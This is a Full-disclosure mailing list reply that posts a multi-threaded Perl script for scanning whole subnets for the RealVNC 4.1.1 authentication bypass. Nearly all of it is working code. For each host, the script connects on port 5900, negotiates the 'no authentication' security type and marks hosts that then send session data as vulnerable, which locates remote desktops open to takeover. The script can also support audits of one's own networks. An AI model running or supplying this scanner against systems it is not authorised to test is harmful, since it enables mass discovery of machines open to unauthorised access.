Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise

["Matt Venzke" <mvenzke@xxxxxxxxx>]

I hacked your code into something multi-threaded--enjoy.

- Matt

#!/usr/bin/perl
# Multi-threaded scan for OpenVNC 4.11 authentication bypass.
# Based on Tyler Krpata's Perl scanning code.

use strict;
use warnings;
use IO::Socket;
use threads;
use threads::shared;
use Errno qw(EAGAIN);

# Configuration variables
use constant VNC_PORT => 5900;
my  $splits = 5;                 # Creates 2^N processes.
my  $avg_time = 5;               # Tweak this to get better time estimates.
our $subnet;

our @results : shared;
our $todo = 0;
my $orig_thread = "yes";
my $start;
my $end;
my $time_estimate;
my $elapsed = time;
my $out_file;

++$|;  # To watch as the results come in, in real time.
$subnet = $ARGV[0] || "";  # Get subnet from command line, else ask for it.

while (1) {
 last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/;
 print "\nWhat subnet do you want to scan?  ";
 chomp($subnet = <STDIN>);
 print "That does not look right.  Enter something like 192.168.1.*\n\n";
}

# Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
$subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
$subnet .= ".";

$out_file = "VNC_" . $subnet . "txt";

# Mostly a guesstimate
$time_estimate = $avg_time * (256 / (2**$splits));
$time_estimate = int ($time_estimate / 60);
$time_estimate += 4;

print "\nScanning subnet ${subnet}x -- this should take approximately
$time_estimate minute(s).\n";
print "[!] = Vulnerable, [*] = Safe, [.] = No response.\n\n";

CHECK: {
 unless ($splits >= 0 && $splits <= 8) {
   die "ERROR:  Do not split $splits times--that makes no sense.\n";
 }

 unless ($splits <= 5) {
   warn "Reduce the number of splits from $splits to 5 or less if you
get memory errors.\n\n";
 }
}

# Ugly, but this works.
DivideWork() if $splits >= 1;
DivideWork() if $splits >= 2;
DivideWork() if $splits >= 3;
DivideWork() if $splits >= 4;
DivideWork() if $splits >= 5;
DivideWork() if $splits >= 6;
DivideWork() if $splits >= 7;
DivideWork() if $splits >= 8;

# Which IPs this thread scans.
$start = $todo << (8 - $splits);
$end   = $start + (256 / (2**$splits)) - 1;

foreach ($start .. $end) {
 Scan_VNC($_);
}

wait until $?;  # Wait for children to finish.
exit unless $orig_thread eq "yes";

# Only the original parent thread will continue.

$elapsed = time - $elapsed;
$elapsed /= 60;
$elapsed = int $elapsed;

print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n";

SaveData();

exit;

####################################

sub DivideWork {

 my $pid;

 FORK: {
   $todo *= 2;
   if ($pid = fork) {
     # Parent
     ++$todo;

   } elsif (defined $pid) {
     # Child
     $orig_thread = "no";

   } elsif ($! == EAGAIN) {

     # Recoverable forking error.
     sleep 7;
     redo FORK;

   } else {

     # Unable to fork.
     die "Unable to fork: $!\n";

   }
 }
}


sub SaveData {

 my $vulns = 0;
 open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!";

 foreach my $IP (1..254) {
   my $record;
   $record = $results[$IP];

   unless ($record =~ m/not vulnerable/io) {
     ++$vulns;
     print FOUND $record;
   }

 }

 print FOUND "\nVulnerabilites found:  $vulns";
 close(FOUND) or die "Cannot close $out_file -- $!";

 print "Data saved to ${out_file}\n\n";

}


sub Scan_VNC {

 # Scan for OpenVNC 4.11 authentication bypass.

 my $hostnum = shift;
 my $host = $subnet . $hostnum;
 my $sock;
 my $proto_ver;
 my $ignored;
 my $auth_type;
 my $sec_types;
 my $vnc_data;

 $host or die("ERROR:  no host passed to Scan_VNC.\n");

 # The host numbers .0 and .255 are reserved; ignore them.
 if ($hostnum <= 0 or $hostnum >= 255) { return; }

 # Format things nicely--that crazy formula just adds spaces.
 $results[$hostnum]  = "$host";
 $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";

 unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort =>
VNC_PORT, Proto => 'tcp',)) {
   $results[$hostnum] .= "Not vulnerable, no response.\n";
   print ".";
   return;
 }

 # Negotiate protocol version.
 $sock->read($proto_ver, 12);
 print $sock $proto_ver;

 # Get supported security types and ignore them.
 $sock->read($sec_types, 1);
 $sock->read($ignored, unpack('C', $sec_types));

 # Claim that we only support no authentication.
 print $sock "\x01";

 # We should get "0000" back, indicating that they won't fall back to
no authentication.
 $sock->read($auth_type, 4);
 if (unpack('I', $auth_type)) {
   $results[$hostnum] .= "Not vulnerable, refused to support
authentication type.\n";
   print "*";
   close($sock);
   return;
 }

 # Client initialize.
 print $sock "\x01";

 # If the server starts sending data, we're in.
 $sock->read($vnc_data, 4);

 if (unpack('I', $vnc_data)) {
   $results[$hostnum] .= "VULNERABLE!  $proto_ver\n";
   print "!";
 } else {
   $results[$hostnum] .= "Not vulnerable, did not send data.\n";
   print "*";
 }

 close($sock);
 return;

}